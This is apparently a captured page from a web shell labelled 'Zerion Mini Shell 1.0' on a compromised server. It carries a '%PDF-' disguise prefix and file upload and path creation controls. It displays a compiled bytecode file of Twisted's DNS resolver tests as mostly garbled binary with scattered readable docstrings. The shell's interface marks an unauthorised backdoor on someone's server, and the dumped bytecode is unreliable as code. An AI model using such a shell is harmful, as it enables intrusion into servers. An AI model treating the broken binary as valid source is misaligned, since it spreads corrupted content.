%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/names/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/names/test/__pycache__/test_common.cpython-312.pyc

�

Ϫ�f���dZddlmZddlmZddlmZddlmZm	Z	m
Z
mZmZm
Z
ddlmZmZmZmZmZmZddlmZddlmZGd	�d
e�ZGd�de�Zy
)z$
Tests for L{twisted.names.common}.
�)�verifyClass)�	IResolver)�ResolverBase)�EFORMAT�ENAME�ENOTIMP�EREFUSED�ESERVER�Query)�DNSFormatError�DNSNameError�DNSNotImplementedError�DNSQueryRefusedError�DNSServerError�DNSUnknownError)�Failure)�SynchronousTestCasec�:�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
�ExceptionForCodeTestsz5
    Tests for L{ResolverBase.exceptionForCode}.
    c�6�t�j|_y�N)r�exceptionForCode��selfs �@/usr/lib/python3/dist-packages/twisted/names/test/test_common.py�setUpzExceptionForCodeTests.setUps�� ,�� ?� ?���c�V�|j|jt�t�y)zd
        L{ResolverBase.exceptionForCode} converts L{EFORMAT} to
        L{DNSFormatError}.
        N)�assertIsrrrrs r�test_eformatz"ExceptionForCodeTests.test_eformat"���
	
�
�
�d�+�+�G�4�n�Erc�V�|j|jt�t�y)zd
        L{ResolverBase.exceptionForCode} converts L{ESERVER} to
        L{DNSServerError}.
        N)rrr
rrs r�test_eserverz"ExceptionForCodeTests.test_eserver)r!rc�V�|j|jt�t�y)zX
        L{ResolverBase.exceptionForCode} converts L{ENAME} to L{DNSNameError}.
        N)rrrr
rs r�
test_enamez ExceptionForCodeTests.test_ename0s��	
�
�
�d�+�+�E�2�L�Arc�V�|j|jt�t�y)zl
        L{ResolverBase.exceptionForCode} converts L{ENOTIMP} to
        L{DNSNotImplementedError}.
        N)rrrrrs r�test_enotimpz"ExceptionForCodeTests.test_enotimp6s��
	
�
�
�d�+�+�G�4�6L�Mrc�V�|j|jt�t�y)zk
        L{ResolverBase.exceptionForCode} converts L{EREFUSED} to
        L{DNSQueryRefusedError}.
        N)rrr	rrs r�
test_erefusedz#ExceptionForCodeTests.test_erefused=s��
	
�
�
�d�+�+�H�5�7K�Lrc�^�|j|jt��t�y)zr
        L{ResolverBase.exceptionForCode} converts any other response code to
        L{DNSUnknownError}.
        N)rr�objectrrs r�
test_otherz ExceptionForCodeTests.test_otherDs��
	
�
�
�d�+�+�F�H�5��GrN)�__name__�
__module__�__qualname__�__doc__rr r#r%r'r)r,�rrrrs1���@�F�F�B�N�M�Hrrc�(�eZdZdZd�Zd�Zd�Zd�Zy)�
QueryTestsz*
    Tests for L{ResolverBase.query}.
    c�,�ttt�y)zF
        L{ResolverBase} provides the L{IResolver} interface.
        N)rrrrs r�"test_resolverBaseProvidesIResolverz-QueryTests.test_resolverBaseProvidesIResolverQs��	�I�|�,rc���g�t�}d�fd�i|_tdd��}|j|d�|j	dg��y)z�
        L{ResolverBase.query} looks up a method to invoke using the type of the
        query passed to it and the C{typeToMethod} mapping on itself.
        �90c�*���j||f�Sr)�append)�query�timeout�resultss  �r�<lambda>z6QueryTests.test_typeToMethodDispatch.<locals>.<lambda>_s���'�.�.�%��9I�*J�r�example.com��name�type�{)r>rBN)r�typeToMethodrr:�assertEqual)r�resolverr:r<s   @r�test_typeToMethodDispatchz$QueryTests.test_typeToMethodDispatchWsQ���
���>���J�!
����>��6�����u�c�"����/�0�'�:rc����t��t�}d�fd�i|_tdd��}|j	|d�}g}|j|j�|j�|d�y)z�
        L{ResolverBase.query} returns a L{Deferred} which fires with the result
        of the method found in the C{typeToMethod} mapping for the type of the
        query passed to it.
        i1�c����Srr1)r:r;�expecteds  �rr=z4QueryTests.test_typeToMethodResult.<locals>.<lambda>ms���x�rr>r?rBrN)r+rrCrr:�addBothr9rD)rrEr:�
queryDeferred�resultrIs     @r�test_typeToMethodResultz"QueryTests.test_typeToMethodResultesh����8���>��!&�(G� H����>��6�� ���u�c�2�
������f�m�m�,�����6�!�9�-rc��t�}i|_tdd��}|j|d�}g}|j	|j
�|j
|dt�|djt�y)z�
        L{ResolverBase.query} returns a L{Deferred} which fails with
        L{NotImplementedError} when called with a query of a type not present in
        its C{typeToMethod} dictionary.
        r>r7r?rBrN)
rrCrr:rJr9�assertIsInstancer�trap�NotImplementedError)rrEr:rKrLs     r�test_unknownQueryTypez QueryTests.test_unknownQueryTypetsk�� �>�� "����>��6�� ���u�c�2�
������f�m�m�,����f�Q�i��1��q�	���*�+rN)r-r.r/r0r5rFrMrRr1rrr3r3Ls���-�;�
.�
,rr3N)r0�zope.interface.verifyr�twisted.internet.interfacesr�twisted.names.commonr�twisted.names.dnsrrrr	r
r�twisted.names.errorrr
rrrr�twisted.python.failurer�twisted.trial.unittestrrr3r1rr�<module>rZsJ���
.�1�-�O�O���+�6�/H�/�/H�d5,�$�5,r

Zerion Mini Shell 1.0